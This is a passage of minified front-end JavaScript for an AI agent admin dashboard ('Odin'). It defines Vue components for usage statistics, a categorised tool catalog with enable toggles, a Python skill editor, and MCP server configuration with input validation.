ID")}catch(A){if(x!==m)return;A.status===404?(i.value=null,n.value="No trace found for message ID: "+l.value):n.value=A.message}x===m&&(s.value=!1)}return dt(async()=>{await v(),await y()}),{files:t,entries:e,loading:s,error:n,expandedIdx:a,singleTrace:i,messageIdQuery:l,selectedFile:r,totalSaved:o,filters:u,expandedIterations:c,formatTs:d,formatDuration:p,formatTokens:B,formatJSON:h,truncateBlock:db,toggleExpand:b,toggleIteration:w,isIterationExpanded:_,clearFilters:C,fetchFiles:v,fetchTraces:y,lookupMessage:k}}};function SD(t){const e=Number(t);return!Number.isFinite(e)||e<=0?"—":e<1e3?`${Math.round(e)} ms`:e<6e4?`${(e/1e3).toFixed(1)} s`:e<36e5?`${(e/6e4).toFixed(1)} min`:`${(e/36e5).toFixed(1)} h`}function TD(t){return t?`${t.approximate?"~":""}${Wp(t.total||0)}`:"0"}const AD={template:` +
    +
    +
    +

    Usage & Activity

    +

    Persistent statistics from settled trajectories and the read-only audit index.

    +
    +
    + +
    +
    + +
    +
    +
    +
    +
    + + + +
    +
    +

    Last refresh failed: {{ error }} — showing the last successful response.

    +
    +
    +

    Historical indexing is still running. Recent data appears first; all-time totals are incomplete.

    +

    {{ data.coverage.sources_complete }} / {{ data.coverage.sources_indexed }} sources complete · {{ data.coverage.malformed_rows_skipped }} malformed rows skipped

    +
    +
    + Statistics are stale. Last successful receipt was more than 30 seconds ago. +
    + +
    +

    How much work happened

    +
    +
    {{ fmtNum(work.settled_turns) }}
    Settled turns
    +
    {{ fmtNum(work.accepted_generations) }}
    Accepted generations
    +
    {{ tokenLabel(work.input_tokens) }}
    Input processed
    +
    {{ tokenLabel(work.output_tokens) }}
    Output generated
    +
    {{ fmtDuration(work.recorded_processing_ms) }}
    Recorded processing
    +
    +
    + Input provenance: {{ fmtNum(work.input_tokens.provider_reported) }} provider-reported · + {{ fmtNum(work.input_tokens.estimated) }} current estimates · + {{ fmtNum(work.input_tokens.legacy_estimated) }} legacy estimates · + {{ work.input_tokens.provider_reported_percent }}% reported coverage. + Recorded processing is summed operation time, not wall-clock uptime. A dash means timing was not recorded; unavailable samples are excluded. +
    +
    + +
    + No settled usage history in this range. +
    + +
    +

    Activity over time

    +
    + +
    +

    Daily settled work units by recorded surface. Hover a bar for its value.

    +
    + +
    +
    +

    What kind of work

    +
    + + + + +
    SurfaceOutcomeTurnsProcessing
    {{ row.surface }}{{ row.outcome }}{{ fmtNum(row.count) }}{{ fmtDuration(row.duration_ms) }}
    No activity yet
    +
    + +
    +

    What served it

    +
    + + + + +
    Provider / modelEffortGenerationsInputOutputProcessing
    {{ row.provider }}
    {{ row.model }}
    {{ row.effort || 'n/a' }}{{ fmtNum(row.generations) }}{{ fmtNum(row.input_tokens) }}{{ fmtNum(row.output_tokens) }}{{ fmtDuration(row.duration_ms) }}
    No generations yet
    +
    +
    + +
    +

    What tools Odin used

    +
    + + + + +
    ToolExecutionsErrorsError rateAverage time
    {{ row.tool_name }}{{ fmtNum(row.executions) }}{{ fmtNum(row.errors) }}{{ row.error_rate_percent }}%{{ fmtDuration(row.avg_duration_ms) }}
    No audited tool executions yet
    +
    + +
    +

    Automation

    +
    {{ row.state }}: {{ fmtNum(row.count) }} · recoveries {{ fmtNum(row.recovery_attempts) }}No agent outcomes yet
    +
    + +
    +

    Provider-reported actual cost

    +

    {{ formatActualCost(data.cost?.actual_spend_usd) }}

    +

    {{ data.cost?.note || 'No provider-reported cost in this range.' }}

    +
    +
    + {{ row.model }} via {{ row.upstream_provider }} · {{ row.cached_percent }}% cached · {{ fmtNum(row.samples) }} measured generations +
    +
    +
    +
    +
    + `,setup(){const t=f(!0),e=f(null),s=f(!1),n=f({available:!0,coverage:{},work:{},activity:[],serving:[],tools:[],automation:[]}),a=f("7d"),i=f(0),l=f(Date.now());let r=null,o=null,c=!1,u=0;const d=[{key:"24h",label:"24 hours"},{key:"7d",label:"7 days"},{key:"30d",label:"30 days"},{key:"all",label:"All time"}],p=G(()=>n.value.work||{}),B=x=>x==null?"Not reported":`$${Number(x).toFixed(6)}`,h=G(()=>Math.max(1,...(n.value.activity_over_time||[]).map(x=>Number(x.count||0)))),b=G(()=>({minWidth:`max(100%, ${(n.value.activity_over_time||[]).length*5}px)`})),w=x=>({height:`${Math.max(4,Math.round(Number(x||0)/h.value*100))}%`}),_=G(()=>s.value&&l.value-i.value>3e4);async function C(){const x=++u,A=a.value;try{const S=await U.get(`/api/usage?range=${encodeURIComponent(A)}`);if(x!==u||A!==a.value)return;n.value=S,i.value=Date.now(),l.value=i.value,s.value=!0,e.value=null}catch(S){x===u&&(e.value=S.message)}finally{x===u&&(t.value=!1)}}function v(x){a.value=x,t.value=!s.value,C()}function m(){t.value=!0,C()}function y(){c||(c=!0,C(),r=setInterval(C,15e3),o=setInterval(()=>{l.value=Date.now()},1e3))}function k(){c&&(c=!1,u+=1,r&&clearInterval(r),o&&clearInterval(o),r=null,o=null)}return dt(y),hs(y),as(k),It(k),{data:n,work:p,loading:t,error:e,hasData:s,range:a,ranges:d,isStale:_,fmtNum:Wp,fmtDuration:SD,tokenLabel:TD,formatActualCost:B,activityTrackStyle:b,activityBar:w,selectRange:v,retry:m}}},mb=[{id:"audit",label:"Audit",component:wD},{id:"sessions",label:"Sessions",component:ED},{id:"traces",label:"Traces",component:DD},{id:"usage",label:"Usage & Activity",component:AD}],RD={components:{TabbedPage:iu},setup(){return{tabs:mb}},template:''},ju=[{id:"system",label:"System & Commands",icon:"terminal",match:t=>/^(run_command|run_script|read_file|apply_patch|list_directory|search_files|manage_process|file_|post_file)/.test(t)},{id:"devops",label:"DevOps & Infrastructure",icon:"server",match:t=>/^(http_probe)/.test(t)},{id:"agents",label:"Agents & Orchestration",icon:"bot",match:t=>/^(spawn_agent|send_to_agent|wait_for_agents|get_agent_results|kill_agent|list_agents)/.test(t)},{id:"workflow",label:"Workflows & Tasks",icon:"workflow",match:t=>/^(delegate_task|cancel_task|list_tasks|schedule_|start_loop|stop_loop|list_loops|delete_schedule|list_schedules|update_schedule|parse_time)/.test(t)},{id:"network",label:"Network & Web",icon:"globe",match:t=>/^(web_|browser_|search_web|fetch_url|http_)/.test(t)},{id:"knowledge",label:"Knowledge & Search",icon:"book",match:t=>/^(search_knowledge|ingest_|knowledge_|search_history|search_audit|bulk_ingest|delete_knowledge|list_knowledge)/.test(t)},{id:"discord",label:"Discord & Admin",icon:"message",match:t=>/^(send_|add_reaction|create_poll|purge_|discord_|embed_|read_channel|set_permission)/.test(t)},{id:"skills",label:"Skills",icon:"puzzle",match:t=>/^(create_skill|edit_skill|delete_skill|enable_skill|disable_skill|install_skill|export_skill|skill_status|invoke_skill|list_skills)/.test(t)},{id:"memory",label:"Memory & State",icon:"brain",match:t=>/^(memory_manage|list_manage)/.test(t)},{id:"ai",label:"AI & Generation",icon:"sparkles",match:t=>/^(generate_|analyze_|vision_)/.test(t)},{id:"integrations",label:"Integrations",icon:"link",match:t=>/^mcp_/.test(t)},{id:"other",label:"Other Tools",icon:"wrench",match:()=>!0}],ID={template:` +
    +
    +
    +

    Tools

    +

    Disabling a tool removes it from future model requests and causes stored jobs that call it to fail. Already-running calls are not cancelled.

    +
    +
    + + +
    +
    + + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + + + + +
    + +
    +
    +
    {{ tools.length }}
    +
    Total Tools
    +
    +
    +
    {{ coreCount }}
    +
    Core Tools
    +
    +
    +
    {{ skillCount }}
    +
    Skill Tools
    +
    +
    +
    {{ totalUsage.toLocaleString() }}
    +
    Total Executions
    +
    +
    + + +
    + + +
    + + +
    +
    +
    + + {{ group.label }} + {{ group.tools.length }} +
    +
    +
    +
    + {{ t.name }} + {{ stateBadge(t) }} +
    +
    {{ truncate(t.description, 80) }}
    + + +
    +
    {{ t.description }}
    +
    Core capability. Disabling it may cause automation, recovery, or stored workflows that depend on it to fail.
    +
    +
    Parameters
    +
    + {{ pname }} + {{ prop.type }} + required +
    +
    +
    +
    +
    +
    +
    + + +
    +
    +
    + + {{ group.label }} + {{ group.tools.length }} +
    +
    + + + + + + + + + + + + +
    NameDescriptionUsesEnabled for model
    +
    +
    +
    + + +
    + + No tools match "{{ search }}" + Try a different search term +
    +
    +
    `,setup(){const t=f([]),e=f(!0),s=f(null),n=f(""),a=f({}),i=f({}),l=f("cards"),r=f(null),o=f(null),c=f(!1),u=f(new Set),d={disabled:"Disabled by operator",unavailable:"Unavailable — required backend is not configured",global_disabled:"Global tools disabled"};function p(S){return S.source!=="builtin"?"":d[S.state]||""}function B(S,L){const O=S&&Array.isArray(S.tools)?S.tools:null;if(c.value=!!O,o.value=O?!!S.global_enabled:null,!O){t.value=L.map(ie=>({...ie,source:"unknown",enabled:void 0,state:null}));return}const I=new Set(O.map(ie=>ie.name)),J=L.filter(ie=>!I.has(ie.name)).map(ie=>({...ie,source:ie.name.startsWith("mcp_")?"mcp":"skill",enabled:!0,state:null}));t.value=[...O.map(ie=>({...ie,source:"builtin"})),...J]}async function h(S,L){if(u.value.has(S.name))return;const O=!!L.target.checked,I=new Set(u.value);I.add(S.name),u.value=I;try{const J=await U.post(`/api/tools/builtins/${encodeURIComponent(S.name)}/enabled`,{enabled:O});B(J,t.value),s.value=null;try{const ie=await U.get("/api/tools");B(J,ie)}catch(ie){console.warn("Built-in toggle committed; visible catalog refresh failed",ie)}}catch(J){L.target.checked=!!S.enabled,s.value=J.message||`Failed to toggle ${S.name}`}finally{const J=new Set(u.value);J.delete(S.name),u.value=J}}const b=G(()=>t.value.filter(S=>S.source==="builtin"&&S.is_core).length),w=G(()=>t.value.filter(S=>S.source==="skill").length),_=G(()=>Object.values(a.value).reduce((S,L)=>S+L,0));function C(S){for(const L of ju)if(L.id!=="other"&&L.match(S))return L.id;return"other"}const v=G(()=>{let S=t.value;if(n.value){const L=n.value.toLowerCase();S=S.filter(O=>O.name.toLowerCase().includes(L)||(O.description||"").toLowerCase().includes(L))}return r.value&&(S=S.filter(L=>C(L.name)===r.value)),S}),m=G(()=>{const S=new Set;for(const L of t.value)S.add(C(L.name));return ju.filter(L=>S.has(L.id))}),y=G(()=>{const S=v.value,L={};for(const I of S){const J=C(I.name);L[J]||(L[J]=[]),L[J].push(I)}const O=[];for(const I of ju)L[I.id]&&L[I.id].length>0&&O.push({label:I.label,icon:I.icon,tools:L[I.id].sort((J,ie)=>J.name.localeCompare(ie.name))});return O});function k(S){i.value={...i.value,[S]:!i.value[S]}}async function x(){e.value=!0,s.value=null;try{const[S,L,O]=await Promise.all([U.get("/api/tools"),U.get("/api/tools/stats").catch(()=>({})),U.get("/api/tools/builtins").catch(()=>null)]);B(O,S),a.value=L||{}}catch(S){s.value=S.message}e.value=!1}function A(){x()}return dt(()=>{x()}),{tools:t,loading:e,error:s,search:n,stats:a,expanded:i,viewMode:l,activeCategory:r,globalEnabled:o,inventoryAvailable:c,togglePending:u,coreCount:b,skillCount:w,totalUsage:_,filteredTools:v,groupedTools:y,usedCategories:m,stateBadge:p,applyInventory:B,toggleBuiltinTool:h,truncate:Kp,toggleExpand:k,refresh:A}}};function OD(t){if(!t)return"";const e=new Set("def class return if elif else for while import from as try except finally raise with async await yield pass break continue and or not in is None True False self lambda".split(" ")),s=new Set("print len range str int float list dict set tuple type isinstance hasattr getattr setattr super property staticmethod classmethod enumerate zip map filter sorted reversed any all min max sum abs round open format".split(" ")),n=r=>r.replace(/&/g,"&").replace(//g,">"),a=/("""[\s\S]*?"""|'''[\s\S]*?'''|"(?:[^"\\]|\\.)*"|'(?:[^'\\]|\\.)*'|#[^\n]*|@\w+|\b\d+\.?\d*\b|\b[A-Za-z_]\w*\b)/g;let i="",l=0;for(const r of t.matchAll(a)){i+=n(t.slice(l,r.index));const o=r[0],c=/^["']/.test(o)?"str":o.startsWith("#")?"cmt":o.startsWith("@")?"dec":/^\d/.test(o)?"num":e.has(o)?"kw":s.has(o)?"builtin":"";i+=c?`${n(o)}`:n(o),l=r.index+o.length}return i+n(t.slice(l))}function LD(t){if(!t)return"1";const e=t.split(` +`).length;return Array.from({length:e},(s,n)=>n+1).join(` +`)}const ND={template:` +
    +
    +

    Skills

    +
    + + +
    +
    + + +
    +
    +
    {{ skills.length }}
    +
    Total Skills
    +
    +
    +
    {{ enabledCount }}
    +
    Active Skills
    +
    +
    +
    {{ totalExecutions.toLocaleString() }}
    +
    Total Runs
    +
    +
    +
    {{ totalLines.toLocaleString() }}
    +
    Lines of Code
    +
    +
    + + +
    + +
    + + +
    +
    +
    +
    +
    +
    +
    +
    +
    + + + + + +
    + + No skills loaded + Click "New Skill" to create a custom tool +
    + + +
    +
    +
    + +
    +
    + + {{ s.name }} + {{ s.execution_count.toLocaleString() }} runs +
    +
    + + + + +
    +
    + + +
    +
    {{ s.description || 'No description' }}
    +
    + Loaded: {{ formatTs(s.loaded_at) }} + {{ countLines(s.code) }} lines +
    +
    + + +
    +
    + {{ testResults[s.name].is_error ? 'Test failed' : 'Test passed' }} +
    +
    {{ truncate(testResults[s.name].result, 500) }}
    +
    + + +
    +
    + {{ s.name }}.py + +
    +
    +
    {{ getLineNumbers(s.code) }}
    +
    +
    +
    +
    +
    + + +
    + + No skills match "{{ search }}" + Try a different search term +
    +
    + + +
    +
    +

    + {{ editMode === 'create' ? 'Create Skill' : 'Edit Skill: ' + editName }} +

    + +
    + +
    + +
    Lowercase, alphanumeric + underscores, starts with letter
    +
    + +
    + Code +
    +
    {{ editorLineNums }}
    + +
    +
    + {{ editLineCount }} lines + {{ editCode.length.toLocaleString() }} chars +
    +
    + + +
    + {{ editValidation.valid ? 'Valid Python structure' : editValidation.message }} +
    + +
    +
    Error
    +
    {{ editError }}
    +
    +
    {{ editSuccess }}
    + +
    + + +
    +
    + + + +
    `,setup(){const t=f([]),e=f(!0),s=f(null),n=f({}),a=f({}),i=f(null),l=f(""),r=f(null),o=f(!1),c=f("create"),u=f(""),d=f(""),p=f(null),B=f(null),h=f(!1),b=f(null),w=f(null),_=f(!1),C=G(()=>t.value.filter(K=>K.status==="loaded").length),v=G(()=>t.value.reduce((K,_e)=>K+(_e.execution_count||0),0)),m=G(()=>t.value.reduce((K,_e)=>K+L(_e.code),0)),y=G(()=>{if(!l.value)return t.value;const K=l.value.toLowerCase();return t.value.filter(_e=>_e.name.toLowerCase().includes(K)||(_e.description||"").toLowerCase().includes(K))}),k=G(()=>d.value?d.value.split(` +`).length:0),x=G(()=>{const K=Math.max(k.value,1);return Array.from({length:K},(_e,Ge)=>Ge+1).join(` +`)}),A=G(()=>{const K=d.value.trim();return K?K.includes("SKILL_DEFINITION")?K.includes("async def execute")?{valid:!0,message:""}:{valid:!1,message:"Missing async def execute function"}:{valid:!1,message:"Missing SKILL_DEFINITION dict"}:null});function S(K){return OD(K)}function L(K){return K?K.split(` +`).length:0}function O(K){return LD(K)}function I(K){n.value={...n.value,[K]:!n.value[K]}}async function J(K){try{await navigator.clipboard.writeText(K);const _e=t.value.find(Ge=>Ge.code===K);_e&&(r.value=_e.name,setTimeout(()=>{r.value=null},2e3))}catch{}}function ie(K){if(K.key==="Tab"){K.preventDefault();const _e=K.target,Ge=_e.selectionStart,de=_e.selectionEnd;d.value=d.value.substring(0,Ge)+" "+d.value.substring(de),ns(()=>{_e.selectionStart=_e.selectionEnd=Ge+4})}}function te(K){const _e=K.target.previousElementSibling;_e&&(_e.scrollTop=K.target.scrollTop)}async function R(){e.value=!0,s.value=null;try{t.value=await U.get("/api/skills")}catch(K){s.value=K.message}e.value=!1}async function j(K){i.value=K,delete a.value[K],a.value={...a.value};try{const _e=await U.post(`/api/skills/${encodeURIComponent(K)}/test`);a.value={...a.value,[K]:_e}}catch(_e){a.value={...a.value,[K]:{result:_e.message,is_error:!0}}}i.value=null}function N(){o.value=!0,c.value="create",u.value="",d.value="",p.value=null,B.value=null}function z(K){o.value=!0,c.value="edit",u.value=K.name,d.value=K.code||"",p.value=null,B.value=null}function ee(){o.value=!1,p.value=null,B.value=null}async function Q(){p.value=null,B.value=null;const K=u.value.trim(),_e=d.value.trim();if(!K){p.value="Name is required";return}if(!_e){p.value="Code is required";return}h.value=!0;try{c.value==="create"?(await U.post("/api/skills",{name:K,code:_e}),B.value="Skill created successfully"):(await U.put(`/api/skills/${encodeURIComponent(K)}`,{code:_e}),B.value="Skill updated successfully"),await R(),setTimeout(()=>{o.value=!1},800)}catch(Ge){p.value=Ge.message}h.value=!1}function Y(K){w.value=K}async function re(){if(w.value){_.value=!0;try{await U.del(`/api/skills/${encodeURIComponent(w.value)}`),await R()}catch(K){Ie.error(`Failed to delete skill: ${K.message||"unknown error"}`)}_.value=!1,w.value=null}}return dt(()=>{R()}),{skills:t,loading:e,error:s,showCode:n,testResults:a,testing:i,search:l,copied:r,editing:o,editMode:c,editName:u,editCode:d,editError:p,editSuccess:B,saving:h,editorRef:b,deleteTarget:w,deleting:_,enabledCount:C,totalExecutions:v,totalLines:m,displayedSkills:y,editLineCount:k,editorLineNums:x,editValidation:A,highlight:S,truncate:Kp,formatTs:Ki,countLines:L,getLineNumbers:O,toggleCode:I,copyCode:J,handleEditorKey:ie,syncScroll:te,fetchSkills:R,testSkill:j,showCreate:N,editSkill:z,cancelEdit:ee,saveSkill:Q,confirmDelete:Y,doDelete:re}}};class On extends Error{constructor(e,s=""){super(e),this.name="MCPFormError",this.field=s}}const FD=/^[A-Za-z_][A-Za-z0-9_]*$/;function ZB(t){return String(t||"").split(/\r?\n/).map(e=>e.trim()).filter(Boolean)}function XB(t,e,s){const n={},a=[...new Set((e||[]).map(l=>String(l)))],i=new Set(a);for(const l of t||[]){const r=String((l==null?void 0:l.key)||"").trim(),o=String((l==null?void 0:l.value)??"");if(!(!r&&!o)){if(!r)throw new On(`${s} key is required when a value is entered.`,"authentication");if(/[\r\n\0]/.test(r))throw new On(`${s} keys cannot contain line breaks or NUL bytes.`,"authentication");if(Object.hasOwn(n,r))throw new On(`${s} key “${r}” appears more than once.`,"authentication");if(i.has(r))throw new On(`${s} key “${r}” cannot be replaced and removed in the same save.`,"authentication");n[r]=o}}return{set:n,remove:a}}function MD(t){try{const e=new URL(t);return(e.protocol==="http:"||e.protocol==="https:")&&!!e.hostname}catch{return!1}}function PD(t,{mode:e="add",originalTransport:s=""}={}){const n=e==="add",a=String(t.name||"").trim();if(!a)throw new On("Server name is required.","name");if(a.length>128||!FD.test(a))throw new On("Use at most 128 letters, digits, or underscores, with no leading digit.","name");const i=t.transport==="http"?"http":"stdio",l=!n&&!!s&&i!==s,r={enabled:!!t.enabled,transport:i};if(n&&(r.name=a),i==="stdio"){const u=String(t.command||"").trim();if((n||l)&&!u)throw new On("An executable path is required for a new stdio connection.","command");if(u&&(r.command=u),(n||t.replaceArgs)&&(r.args=ZB(t.argsText)),n||t.replaceCwd){const d=String(t.cwd||"").trim();if(d&&(!d.startsWith("/")||d.includes("\0")))throw new On("Working directory must be an absolute path.","cwd");r.cwd=d}}else{const u=String(t.url||"").trim();if((n||l)&&!u)throw new On("An HTTP endpoint is required for this connection.","url");if(u&&!MD(u))throw new On("Endpoint must be a valid http:// or https:// URL.","url");u&&(r.url=u)}if(n||t.replaceTimeout){const u=Number(t.timeoutSeconds);if(!Number.isInteger(u)||u<1||u>3600)throw new On("Timeout must be a whole number from 1 to 3600 seconds.","timeout");r.timeout_seconds=u}(n||t.replaceAllowlist)&&(r.tool_allowlist=ZB(t.allowlistText));const o=XB(t.headerRows,t.headersRemove,"Header"),c=XB(t.envRows,t.envRemove,"Environment variable");return Object.keys(o.set).length&&(r.headers_set=o.set),o.remove.length&&(r.headers_remove=o.remove),Object.keys(c.set).length&&(r.env_set=c.set),c.remove.length&&(r.env_remove=c.remove),r}function HD(t,e){return e?t.transport!==e.transport||!!t.enabled!=!!e.enabled?!0:Object.keys(t).some(s=>!["enabled","transport"].includes(s)):!1}function GD(t){const e=String(t||"").toLowerCase();return["disabled","connecting","connected","stale","error","blocked"].includes(e)?e:"error"}function UD(t,e){const s=String(e||"").trim().toLowerCase();return s?[t==null?void 0:t.original_name,t==null?void 0:t.published_name,t==null?void 0:t.description,t==null?void 0:t.exclusion_reason].filter(Boolean).some(n=>String(n).toLowerCase().includes(s)):!0}const $D=Object.freeze([{id:"identity",label:"Identity"},{id:"transport",label:"Transport"},{id:"authentication",label:"Authentication"},{id:"limits",label:"Limits"}]);function jD(t,{root:e=document,reducedMotion:s=typeof window<"u"&&(n=>(n=window.matchMedia)==null?void 0:n.call(window,"(prefers-reduced-motion: reduce)").matches)()}={}){var l;const a=e.querySelector(".mcp-editor-groups"),i=a==null?void 0:a.querySelector(`#mcp-form-${t}`);return i?(i.scrollIntoView({behavior:s?"auto":"smooth",block:"start",inline:"nearest"}),(l=i.querySelector("[data-mcp-form-heading]"))==null||l.focus({preventScroll:!0}),!0):!1}const JD=1e4,zD=Object.freeze({disabled:"Disabled",connecting:"Connecting",connected:"Connected",stale:"Stale",error:"Error",blocked:"Blocked"});function Ju(){return{name:"",enabled:!0,transport:"stdio",command:"",argsText:"",cwd:"",url:"",timeoutSeconds:120,allowlistText:"",replaceArgs:!1,replaceCwd:!1,replaceTimeout:!1,replaceAllowlist:!1,headerRows:[],envRows:[],headersRemove:[],envRemove:[]}}function qD(t){if(t==null)return"Never";const e=Math.max(0,Number(t)||0);return e<60?`${Math.round(e)}s ago`:e<3600?`${Math.round(e/60)}m ago`:e<86400?`${Math.round(e/3600)}h ago`:`${Math.round(e/86400)}d ago`}const VD={template:` +
    +
    +
    +
    Model Context Protocol
    +

    MCP Servers

    +

    Connect tool providers over stdio or Streamable HTTP. Only current, connected, validated tools enter the model catalog.

    +
    +
    + + +
    +
    + +
    +
    +
    +
    + + + + + + +
    + `,setup(){const t=f(null),e=f(!1),s=f(!1),n=f(!1),a=f(""),i=f({max_published_tools_per_server:"",max_published_tools_global:""}),l=f(new Set),r=G(()=>Object.keys(i.value).every(le=>{var Fe;return Number.isInteger((Fe=t.value)==null?void 0:Fe[le])})),o=f(""),c=f(new Set),u=f(new Set),d=f({}),p=f({}),B=f({}),h=f(new Set),b=f(!1),w=f("add"),_=f(""),C=f(null),v=f(Ju()),m=f(""),y=f(!1);let k=null,x=0,A=!1,S=!1;const L=$D,O=G(()=>{var le;return((le=t.value)==null?void 0:le.servers)||[]}),I=G(()=>{var le;return!!((le=t.value)!=null&&le.enabled)}),J=G(()=>{var le,Fe,Ue,Oe;return{serverCount:((le=t.value)==null?void 0:le.server_count)||0,enabledCount:((Fe=t.value)==null?void 0:Fe.enabled_server_count)||0,connectedCount:((Ue=t.value)==null?void 0:Ue.connected_count)||0,toolCount:((Oe=t.value)==null?void 0:Oe.published_tool_count)||0}}),ie=G(()=>{var le;return((le=C.value)==null?void 0:le.header_keys)||[]}),te=G(()=>{var le;return((le=C.value)==null?void 0:le.env_keys)||[]}),R=G(()=>{var le;return w.value==="edit"&&((le=C.value)==null?void 0:le.transport)==="http"}),j=G(()=>w.value==="add"||!R.value),N=G(()=>R.value?"Replace endpoint URL":"Endpoint URL"),z=G(()=>R.value?"Leave blank to keep the saved endpoint":"https://mcp.example.com/mcp");function ee(){Q(),k=window.setInterval(()=>Y({quiet:!0}),JD)}function Q(){k&&window.clearInterval(k),k=null}async function Y({quiet:le=!1}={}){if(n.value||$.value.size)return;const Fe=++x;le||(e.value=!0);try{const Ue=await U.get("/api/mcp/status");if(Fe!==x||!A)return;t.value=Ue;for(const He of Object.keys(i.value))!l.value.has(He)&&Number.isInteger(Ue[He])&&(i.value[He]=String(Ue[He]));o.value="";const Oe=new Set((Ue.servers||[]).map(He=>He.name));u.value=new Set([...u.value].filter(He=>Oe.has(He)))}catch(Ue){Fe===x&&A&&(o.value=Ue.message||"Failed to load MCP status")}finally{Fe===x&&(e.value=!1)}}function re(le){return s.value||c.value.has(le)}function K(le,Fe){const Ue=new Set(c.value);Fe?Ue.add(le):Ue.delete(le),c.value=Ue}function _e(le){return GD(le.state)}function Ge(le){if(_e(le)==="disabled"){if(!le.enabled)return"Disabled — server switch off";if(!I.value)return"Disabled — global MCP is off"}return zD[_e(le)]}function de(le){return le.transport==="http"?"Streamable HTTP":"stdio"}function ue(le){return le.negotiated_version?`${le.era?`${String(le.era).charAt(0).toUpperCase()}${String(le.era).slice(1)}`:"Protocol"} · ${le.negotiated_version}`:"Not negotiated"}function ve(le){return le.discovered_count?`${le.published_count||0} published · ${le.excluded_count||0} excluded`:"No tools discovered"}const $=f(new Set);async function se(le,Fe){if($.value.has(le.name))return;const Ue=!!Fe.target.checked,Oe=new Set($.value);Oe.add(le.name),$.value=Oe,++x,e.value=!1;try{const He=await U.post(`/api/mcp/servers/${encodeURIComponent(le.name)}/enabled`,{enabled:Ue});++x,A&&He&&Array.isArray(He.servers)&&(t.value=He)}catch(He){Fe.target.checked=!!le.enabled,Ie.error(He.message||`Failed to toggle ${le.name}`)}finally{const He=new Set($.value);He.delete(le.name),$.value=He,!He.size&&A&&await Y({quiet:!0})}}function De(le,Fe){var Oe;i.value[le]=Fe;const Ue=new Set(l.value);Fe===String((Oe=t.value)==null?void 0:Oe[le])?Ue.delete(le):Ue.add(le),l.value=Ue,a.value=""}async function E(){if(s.value||!r.value||!l.value.size)return;const le={};for(const Fe of l.value){const Ue=Number(i.value[Fe]),Oe=Fe==="max_published_tools_per_server"?128:256;if(!Number.isInteger(Ue)||Ue<1||Ue>Oe){a.value=`Enter a whole number between 1 and ${Oe}.`;return}le[Fe]=Ue}n.value=!0,s.value=!0,a.value="",++x,e.value=!1;try{const Fe=await U.post("/api/mcp/limits",le);t.value=Fe;for(const Ue of Object.keys(i.value))Number.isInteger(Fe[Ue])&&(i.value[Ue]=String(Fe[Ue]));l.value=new Set,Ie.success("MCP limits saved. Applied at the next publication or tools refresh.")}catch(Fe){a.value=Fe.message||"Failed to save MCP publication limits"}finally{n.value=!1,s.value=!1,await Y({quiet:!0})}}async function M(le){if(le!==I.value&&!(!le&&!await Es({title:"Disable MCP tool publication",message:"Disable MCP globally? All MCP tools will be unpublished immediately and active transports will be stopped. Saved server configuration remains.",confirmLabel:"Disable MCP",danger:!0}))){s.value=!0;try{await U.post("/api/mcp/enabled",{enabled:le}),Ie.success(le?"MCP enabled":"MCP disabled"),await Y({quiet:!0})}catch(Fe){Ie.error(Fe.message||"Failed to update MCP state"),await Y({quiet:!0})}finally{s.value=!1}}}async function V(le){K(le.name,!0);try{await U.post(`/api/mcp/servers/${encodeURIComponent(le.name)}/reconnect`,{}),Ie.success(`Reconnected ${le.name}`)}catch(Fe){Ie.error(Fe.message||`Failed to reconnect ${le.name}`)}finally{K(le.name,!1),await Y({quiet:!0})}}async function Ce(le){K(le.name,!0);try{await U.post(`/api/mcp/servers/${encodeURIComponent(le.name)}/refresh-tools`,{}),Ie.success(`Refreshed tools from ${le.name}`),await Ae(le.name,!0)}catch(Fe){Ie.error(Fe.message||`Failed to refresh ${le.name}`)}finally{K(le.name,!1),await Y({quiet:!0})}}async function fe(le){if(await Es({title:`Remove ${le.name}`,message:`Remove this saved MCP server? Its ${le.published_count||0} published tool${le.published_count===1?"":"s"} will disappear immediately and configured authentication keys will be deleted. This cannot be undone.`,confirmLabel:"Remove server",danger:!0})){K(le.name,!0);try{await U.del(`/api/mcp/servers/${encodeURIComponent(le.name)}`),Ie.success(`Removed ${le.name}`),delete p.value[le.name]}catch(Ue){Ie.error(Ue.message||`Failed to remove ${le.name}`)}finally{K(le.name,!1),await Y({quiet:!0})}}}async function be(le){const Fe=new Set(u.value);if(Fe.has(le.name)){Fe.delete(le.name),u.value=Fe;return}Fe.add(le.name),u.value=Fe,Object.hasOwn(p.value,le.name)||await Ae(le.name)}async function Ae(le,Fe=!1){if(!Fe&&Object.hasOwn(p.value,le))return;const Ue=new Set(h.value);Ue.add(le),h.value=Ue,B.value={...B.value,[le]:""};try{const Oe=await U.get(`/api/mcp/servers/${encodeURIComponent(le)}/tools`);p.value={...p.value,[le]:Oe.tools||[]}}catch(Oe){B.value={...B.value,[le]:Oe.message||"Failed to load tools"}}finally{const Oe=new Set(h.value);Oe.delete(le),h.value=Oe}}function W(le){return(p.value[le]||[]).filter(Fe=>UD(Fe,d.value[le]))}function pe(le,Fe){d.value={...d.value,[le]:Fe}}function ne(){w.value="add",_.value="",C.value=null,v.value=Ju(),m.value="",b.value=!0}function ke(le){w.value="edit",_.value=le.name,C.value=le,v.value={...Ju(),name:le.name,enabled:!!le.enabled,transport:le.transport||"stdio"},m.value="",b.value=!0}function we(){y.value||(b.value=!1)}function Le(le){b.value&&jD(le)}function je(le){const Fe=le==="headers"?"headerRows":"envRows";v.value[Fe].push({key:"",value:""})}function tt(le,Fe){const Ue=le==="headers"?"headerRows":"envRows";v.value[Ue].splice(Fe,1)}function lt(le,Fe){const Ue=le==="headers"?"headersRemove":"envRemove",Oe=v.value[Ue];v.value[Ue]=Oe.includes(Fe)?Oe.filter(He=>He!==Fe):[...Oe,Fe]}async function ae(){var Fe,Ue;m.value="";let le;try{le=PD(v.value,{mode:w.value,originalTransport:((Fe=C.value)==null?void 0:Fe.transport)||""})}catch(Oe){m.value=Oe instanceof On?Oe.message:"Invalid MCP server configuration",await ns(),(Ue=document.querySelector(".mcp-editor"))==null||Ue.scrollTo({top:0,behavior:"smooth"});return}if(!(w.value==="edit"&&HD(le,C.value)&&!await Es({title:`Change ${_.value} connection`,message:"Saving this configuration replaces the server runtime. Any current connection will be retired and its tools unpublished; enabled servers reconnect after the change.",confirmLabel:"Save and reconnect",danger:!0}))){y.value=!0;try{w.value==="add"?await U.post("/api/mcp/servers",le):await U.put(`/api/mcp/servers/${encodeURIComponent(_.value)}`,le),Ie.success(w.value==="add"?`Saved ${le.name}`:`Updated ${_.value}`),b.value=!1,await 